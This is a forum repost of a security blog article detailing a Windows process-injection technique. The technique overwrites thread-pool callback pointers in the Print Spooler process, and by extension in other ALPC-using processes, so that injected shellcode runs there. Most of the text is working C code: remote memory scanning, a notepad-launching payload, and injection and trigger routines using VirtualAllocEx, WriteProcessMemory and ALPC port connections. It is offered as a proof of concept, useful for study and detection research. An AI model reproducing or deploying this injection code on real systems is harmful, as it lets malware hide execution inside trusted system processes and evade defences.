Jump to content
Sign in to follow this  
Nytro

Windows Process Injection: Print Spooler

Recommended Posts

Windows Process Injection: Print Spooler

Posted on March 7, 2019 by odzhan

Introduction

Every application running on the windows operating system has a thread pool or a “worker factory” and this internal mechanism allows an application to offload management of threads typically used for asynchronous operations. The automation of thread management facilitates the support of callback functions in response to I/O events or a timer expiring. Imagine you have a process that needs to send and receive data over the network. Do we want the application to wait indefinitely to receive something from the network? ..or do we want to perform other tasks simultaneously? Thread pooling enables more efficient management of threads and specifically asynchronous callback procedures. These functions can be patched in memory and this allows one to inadvertently execute code without the creation of a new thread. Figure 1 shows notepad running under the spooler process after being patched with shellcode and invoked using print spooler API.

spooler.png?w=640

Figure 1. Notepad running under spooler process.

Finding Callback Environments

Callback functions are stored in mostly opaque/undocumented structures that I haven’t taken the time to fully document here because my main objective is to perform code injection. For the print spooler, we’re only interested in the TP_ALPC structure that is used by TppAlpcpExecuteCallback located in NTDLL.dll. This function dispatches printer requests via the LPC port to LrpcIoComplete located in RPCRT4.dll. TP_ALPC contains a TP_CALLBACK_ENVIRON structure or what I’ll refer to as CBE from now on. CBEs can be found in both the stack and heap memory space of a process, so the virtual memory we need to scan has the following memory attributes.

  • State is MEM_COMMIT
  • Type is MEM_PRIVATE
  • Protect is PAGE_READWRITE

The data we’re looking for can be interepreted using the following structure.

typedef struct _TP_CALLBACK_ENVIRON_V3 {
    TP_VERSION                         Version;
    PTP_POOL                           Pool;
    PTP_CLEANUP_GROUP                  CleanupGroup;
    PTP_CLEANUP_GROUP_CANCEL_CALLBACK  CleanupGroupCancelCallback;
    PVOID                              RaceDll;
    struct _ACTIVATION_CONTEXT        *ActivationContext;
    PTP_SIMPLE_CALLBACK                FinalizationCallback;
    union {
        DWORD                          Flags;
        struct {
            DWORD                      LongFunction :  1;
            DWORD                      Persistent   :  1;
            DWORD                      Private      : 30;
        } s;
    } u;
    TP_CALLBACK_PRIORITY               CallbackPriority;
    DWORD                              Size;
} TP_CALLBACK_ENVIRON_V3;

However, in memory, two additional pointers are required. One is the actual callback function and the other is a callback parameter. It is likely a separate structure that also appears to be undocumented.

00000000`011fbd08  00000000`00000001 ; Version
00000000`011fbd10  00007ffc`b50c0680 ntdll!TppAlpcpCleanupGroupMemberVFuncs ; Pool
00000000`011fbd18  00000000`00000000 ; CleanupGroup
00000000`011fbd20  00000000`00000000 ; CleanupGroupCancelCallback
00000000`011fbd28  00000000`00000000 ; RaceDll
00000000`011fbd30  00000000`011fbd30 ; ActivationContext
00000000`011fbd38  00000000`011fbd30 ; FinalizationCallback
00000000`011fbd40  00000000`00000000 ; Flags
00000000`011fbd48  00000000`00000000 ; CallbackPriority
00000000`011fbd50  00000000`00000000 ; Size

00000000`011fbd58  00007ffc`b38a9240 RPCRT4!LrpcIoComplete ; Callback
00000000`011fbd60  00000000`0121c948 ; CallbackParameter

The following structure is used to find valid CBEs instead of the original from the SDK.

// this structure is derived from TP_CALLBACK_ENVIRON_V3,
// but also includes two additional values. one to hold
// the callback function and the other is a callback parameter
typedef struct _TP_CALLBACK_ENVIRON_X {
    ULONG_PTR   Version;
    ULONG_PTR   Pool;
    ULONG_PTR   CleanupGroup;
    ULONG_PTR   CleanupGroupCancelCallback;
    ULONG_PTR   RaceDll;
    ULONG_PTR   ActivationContext;
    ULONG_PTR   FinalizationCallback;
    ULONG_PTR   Flags;
    ULONG_PTR   CallbackPriority;
    ULONG_PTR   Size;
    ULONG_PTR   Callback;
    ULONG_PTR   CallbackParameter;
} TP_CALLBACK_ENVIRON_X;

We read blocks of memory equivalent to the size of TP_CALLBACK_ENVIRON_X and validate them with some simple checks. The following function can determine if the memory looks like a valid CBE.

BOOL IsValidCBE(HANDLE hProcess, PTP_CALLBACK_ENVIRONX cbe) {
    MEMORY_BASIC_INFORMATION mbi;
    SIZE_T                   res;
    
    // invalid version?
    if(cbe->Version > 5) return FALSE;
    
    // these values shouldn't be empty  
    if(cbe->Pool                 == 0 ||
       cbe->FinalizationCallback == 0) return FALSE;
       
    // these values should be equal
    if ((LPVOID)cbe->FinalizationCallback != 
        (LPVOID)cbe->ActivationContext) return FALSE;
    
    // priority shouldn't exceed TP_CALLBACK_PRIORITY_INVALID
    if(cbe->CallbackPriority > TP_CALLBACK_PRIORITY_INVALID) return FALSE;
    
    // the pool functions should originate from read-only memory
    res = VirtualQueryEx(hProcess, (LPVOID)cbe->Pool, &mbi, sizeof(mbi));
      
    if (res != sizeof(mbi)) return FALSE;
    if (!(mbi.Protect & PAGE_READONLY)) return FALSE;
    
    // the callback function should originate from read+execute memory
    res = VirtualQueryEx(hProcess, 
      (LPCVOID)cbe->Callback, &mbi, sizeof(mbi));
      
    if (res != sizeof(mbi)) return FALSE;
    return (mbi.Protect & PAGE_EXECUTE_READ);
}

Payload

The payload is written in C and simply runs notepad. Calculator isn’t used because it’s a metro application on Windows 10 that has specific requirements to work. The TP_ALPC structure passed to LrpcIoComplete isn’t documented, but does include a structure similar to TP_CALLBACK_ENVIRON_V3. Once our payload is executed, we first restore the original Callback and CallbackParameter values. This is required because once we call WinExec, it will trigger another call to LrpcIoComplete, entering into an infinite loop before crashing the process. After restoration, call WinExec, followed by LrpcIoComplete using original values.

#ifdef TPOOL // Thread Pool Callback
// the wrong types are used here, but it doesn't really matter
typedef struct _TP_ALPC {
    // ALPC callback info
    ULONG_PTR   AlpcPool;
    ULONG_PTR   Unknown1;
    ULONG_PTR   Unknown2;
    ULONG_PTR   Unknown3;
    ULONG_PTR   Unknown4;
    ULONG_PTR   AlpcActivationContext;
    ULONG_PTR   AlpcFinalizationCallback;
    ULONG_PTR   AlpcCallback;
    ULONG_PTR   Unknown5;
    // callback environment
    ULONG_PTR   Version;
    ULONG_PTR   Pool;
    ULONG_PTR   CleanupGroup;
    ULONG_PTR   CleanupGroupCancelCallback;
    ULONG_PTR   RaceDll;
    ULONG_PTR   ActivationContext;
    ULONG_PTR   FinalizationCallback;
    ULONG_PTR   Flags;
    ULONG_PTR   CallbackPriority;
    ULONG_PTR   Size;
    ULONG_PTR   Callback;
    ULONG_PTR   CallbackParameter;
} TP_ALPC;

typedef struct _tp_param_t {
    ULONG_PTR   Callback;
    ULONG_PTR   CallbackParameter;
} tp_param;

typedef TP_ALPC TP_ALPC, *PTP_ALPC;

typedef void (WINAPI *LrpcIoComplete_t)(LPVOID, LPVOID, LPVOID, LPVOID);

VOID TpCallBack(LPVOID tp_callback_instance, 
  LPVOID param, PTP_ALPC alpc, LPVOID unknown2) 
#endif
{
    WinExec_t pWinExec;
    DWORD     szWinExec[2],
              szNotepad[3];
    #ifdef TPOOL
      LrpcIoComplete_t pLrpcIoComplete;
      tp_param         *tp=(tp_param*)param;
      ULONG_PTR        op;
      // param should contain pointer to tp_param
      pLrpcIoComplete = (LrpcIoComplete_t)tp->Callback;
      op              = tp->CallbackParameter;
      // restore original values
      // this will indicate we executed ok,
      // but is also required before the call to WinExec
      alpc->Callback          = tp->Callback;
      alpc->CallbackParameter = tp->CallbackParameter;
    #endif
    // now call WinExec to start notepad
    szWinExec[0] = *(DWORD*)"WinE";
    szWinExec[1] = *(DWORD*)"xec\0";
    
    szNotepad[0] = *(DWORD*)"note";
    szNotepad[1] = *(DWORD*)"pad\0";

    pWinExec = (WinExec_t)xGetProcAddress(szWinExec);
    
    if(pWinExec != NULL) {
      pWinExec((LPSTR)szNotepad, SW_SHOW);
    }
    
    // finally, pass the original message on..
    #ifdef TPOOL 
      pLrpcIoComplete(tp_callback_instance, 
        (LPVOID)alpc->CallbackParameter, alpc, unknown2);
    #endif
    
    #ifndef TPOOL
    return 0;
    #endif
}

Deploying and Triggering Payload

Here, we use a conventional method of sharing the payload/shellcode with spooler process. This consists of:

  • OpenProcess(“spoolsv.exe”)
  • VirtualAllocEx(payloadSize, PAGE_EXECUTE_READWRITE)
  • WriteProcessMemory(payload, payloadSize)

Once we have a valid CBE, we patch the Callback pointer with address to our payload and try invoke it using the print spooler API. Although OpenPrinter is used in the following code, you could probably use any other API that involves interaction with the print spooler service. At the abstraction layer, interaction with the print spooler service is conducted over Local Procedure Call (LPC) which is an interprocess communication. Over the network uses Remote Procedure Call (RPC) but we’re obviously not injecting over network. 😉

// try inject and run payload in remote process using CBE
BOOL inject(HANDLE hp, LPVOID ds, PTP_CALLBACK_ENVIRONX cbe) {
    LPVOID               cs = NULL;
    BOOL                 bStatus = FALSE;
    TP_CALLBACK_ENVIRONX cpy;    // local copy of cbe
    SIZE_T               wr;
    HANDLE               phPrinter = NULL;
    tp_param             tp;
    
    // allocate memory in remote for payload and callback parameter
    cs = VirtualAllocEx(hp, NULL, payloadSize + sizeof(tp_param), 
            MEM_COMMIT, PAGE_EXECUTE_READWRITE);
            
    if (cs != NULL) {
        // write payload to remote process
        WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
        // backup CBE
        CopyMemory(&cpy, cbe, sizeof(TP_CALLBACK_ENVIRONX));
        // copy original callback address and parameter
        tp.Callback          = cpy.Callback;
        tp.CallbackParameter = cpy.CallbackParameter;
        // write callback+parameter to remote process
        WriteProcessMemory(hp, (LPBYTE)cs + payloadSize, &tp, sizeof(tp), &wr);
        // update original callback with address of payload and parameter
        cpy.Callback          = (ULONG_PTR)cs;
        cpy.CallbackParameter = (ULONG_PTR)(LPBYTE)cs + payloadSize;
        // update CBE in remote process
        WriteProcessMemory(hp, ds, &cpy, sizeof(cpy), &wr);
        // trigger execution of payload
        if(OpenPrinter(NULL, &phPrinter, NULL)) {
          ClosePrinter(phPrinter);
        }
        // read back the CBE
        ReadProcessMemory(hp, ds, &cpy, sizeof(cpy), &wr);
        // restore the original cbe
        WriteProcessMemory(hp, ds, cbe, sizeof(cpy), &wr);
        // if callback pointer is the original, we succeeded.
        bStatus = (cpy.Callback == cbe->Callback);
        // release memory for payload
        VirtualFreeEx(hp, cs, payloadSize, MEM_RELEASE);
    }
    return bStatus;
}

Figure 2 shows an attempt to inject code by four different DLL before finally succeeding with RPCRT4.dll.

tpool_injection.png?w=640&h=185

Figure 2. Code injection via Callback Environment

The code shown here is only a proof of concept and could be refined to be more elegant or be applied to other processes that use thread pooling. I only use the print spooler here, but of course other processes use thread pooling and could also be leveraged for code injection. Sources can be found here.

Update

To use the same method of injection against almost any other process that uses ALPC, you can connect directly to the ALPC port.

/**
  Get a list of ALPC ports with names
*/
DWORD GetALPCPorts(process_info *pi) 
{    
    ULONG                      len=0, total=0;
    NTSTATUS                   status;
    LPVOID                     list=NULL;    
    DWORD                      i;
    HANDLE                     hObj;
    PSYSTEM_HANDLE_INFORMATION hl;
    POBJECT_NAME_INFORMATION   objName;
    
    pi->ports.clear();
    
    // get a list of handles for the local system
    for(len=MAX_BUFSIZ;;len+=MAX_BUFSIZ) {
      list = xmalloc(len);
      status = NtQuerySystemInformation(
          SystemHandleInformation, list, len, &total);
      // break from loop if ok    
      if(NT_SUCCESS(status)) break;
      // free list and continue
      xfree(list);   
    }
    
    hl      = (PSYSTEM_HANDLE_INFORMATION)list;
    objName = (POBJECT_NAME_INFORMATION)xmalloc(8192);
    
    // for each handle
    for(i=0; i<hl->NumberOfHandles; i++) {
      // skip if process ids don't match
      if(hl->Handles[i].UniqueProcessId != pi->pid) continue;

      // skip if the type isn't an ALPC port
      // note this value might be different on other systems.
      // this was tested on 64-bit Windows 10
      if(hl->Handles[i].ObjectTypeIndex != 45) continue;
      
      // duplicate the handle object
      status = NtDuplicateObject(
            pi->hp, (HANDLE)hl->Handles[i].HandleValue, 
            GetCurrentProcess(), &hObj, 0, 0, 0);
            
      // continue with next entry if we failed
      if(!NT_SUCCESS(status)) continue;
      
      // try query the name
      status = NtQueryObject(hObj, 
          ObjectNameInformation, objName, 8192, NULL);
      
      // got it okay?
      if(NT_SUCCESS(status) && objName->Name.Buffer!=NULL) {
        // save to list
        pi->ports.push_back(objName->Name.Buffer);
      }
      // close handle object
      NtClose(hObj); 
    }
    // free list of handles
    xfree(objName);
    xfree(list);
    return pi->ports.size();
}

Connecting to ALPC port

// connect to ALPC port
BOOL ALPC_Connect(std::wstring path) {
    SECURITY_QUALITY_OF_SERVICE ss;
    NTSTATUS                    status;
    UNICODE_STRING              server;
    ULONG                       MsgLen=0;
    HANDLE                      h;
    
    ZeroMemory(&ss, sizeof(ss));
    ss.Length              = sizeof(ss);
    ss.ImpersonationLevel  = SecurityImpersonation;
    ss.EffectiveOnly       = FALSE;
    ss.ContextTrackingMode = SECURITY_DYNAMIC_TRACKING;

    RtlInitUnicodeString(&server, path.c_str());
    
    status = NtConnectPort(&h, &server, &ss, NULL, 
      NULL, (PULONG)&MsgLen, NULL, NULL);
      
    NtClose(h);
    
    return NT_SUCCESS(status);
}

Deploying/Triggering

Same as before except we have to try multiple ALPC ports instead of just using print spooler API.

// try inject and run payload in remote process using CBE
BOOL ALPC_deploy(process_info *pi, LPVOID ds, PTP_CALLBACK_ENVIRONX cbe) {
    LPVOID               cs = NULL;
    BOOL                 bInject = FALSE;
    TP_CALLBACK_ENVIRONX cpy;    // local copy of cbe
    SIZE_T               wr;
    tp_param             tp;
    DWORD                i;
    
    // allocate memory in remote for payload and callback parameter
    cs = VirtualAllocEx(pi->hp, NULL, 
      pi->payloadSize + sizeof(tp_param), 
      MEM_COMMIT, PAGE_EXECUTE_READWRITE);
            
    if (cs != NULL) {
        // write payload to remote process
        WriteProcessMemory(pi->hp, cs, pi->payload, pi->payloadSize, &wr);
        // backup CBE
        CopyMemory(&cpy, cbe, sizeof(TP_CALLBACK_ENVIRONX));
        // copy original callback address and parameter
        tp.Callback          = cpy.Callback;
        tp.CallbackParameter = cpy.CallbackParameter;
        // write callback+parameter to remote process
        WriteProcessMemory(pi->hp, (LPBYTE)cs + pi->payloadSize, &tp, sizeof(tp), &wr);
        // update original callback with address of payload and parameter
        cpy.Callback          = (ULONG_PTR)cs;
        cpy.CallbackParameter = (ULONG_PTR)(LPBYTE)cs + pi->payloadSize;
        // update CBE in remote process
        WriteProcessMemory(pi->hp, ds, &cpy, sizeof(cpy), &wr);
        // trigger execution of payload
        for(i=0;i<pi->ports.size(); i++) {
          ALPC_Connect(pi->ports[i]);
          // read back the CBE
          ReadProcessMemory(pi->hp, ds, &cpy, sizeof(cpy), &wr);
          // if callback pointer is the original, we succeeded.
          bInject = (cpy.Callback == cbe->Callback);
          if(bInject) break;
        }
        // restore the original cbe
        WriteProcessMemory(pi->hp, ds, cbe, sizeof(cpy), &wr);
        // release memory for payload
        VirtualFreeEx(pi->hp, cs, 
          pi->payloadSize+sizeof(tp), MEM_RELEASE);
    }
    return bInject;
}

alpc_inject.png?w=640&h=344

Sources can be found here.

 

Sursa: https://modexp.wordpress.com/2019/03/07/process-injection-print-spooler/

Share this post


Link to post
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

Sign in to follow this  

×
×
  • Create New...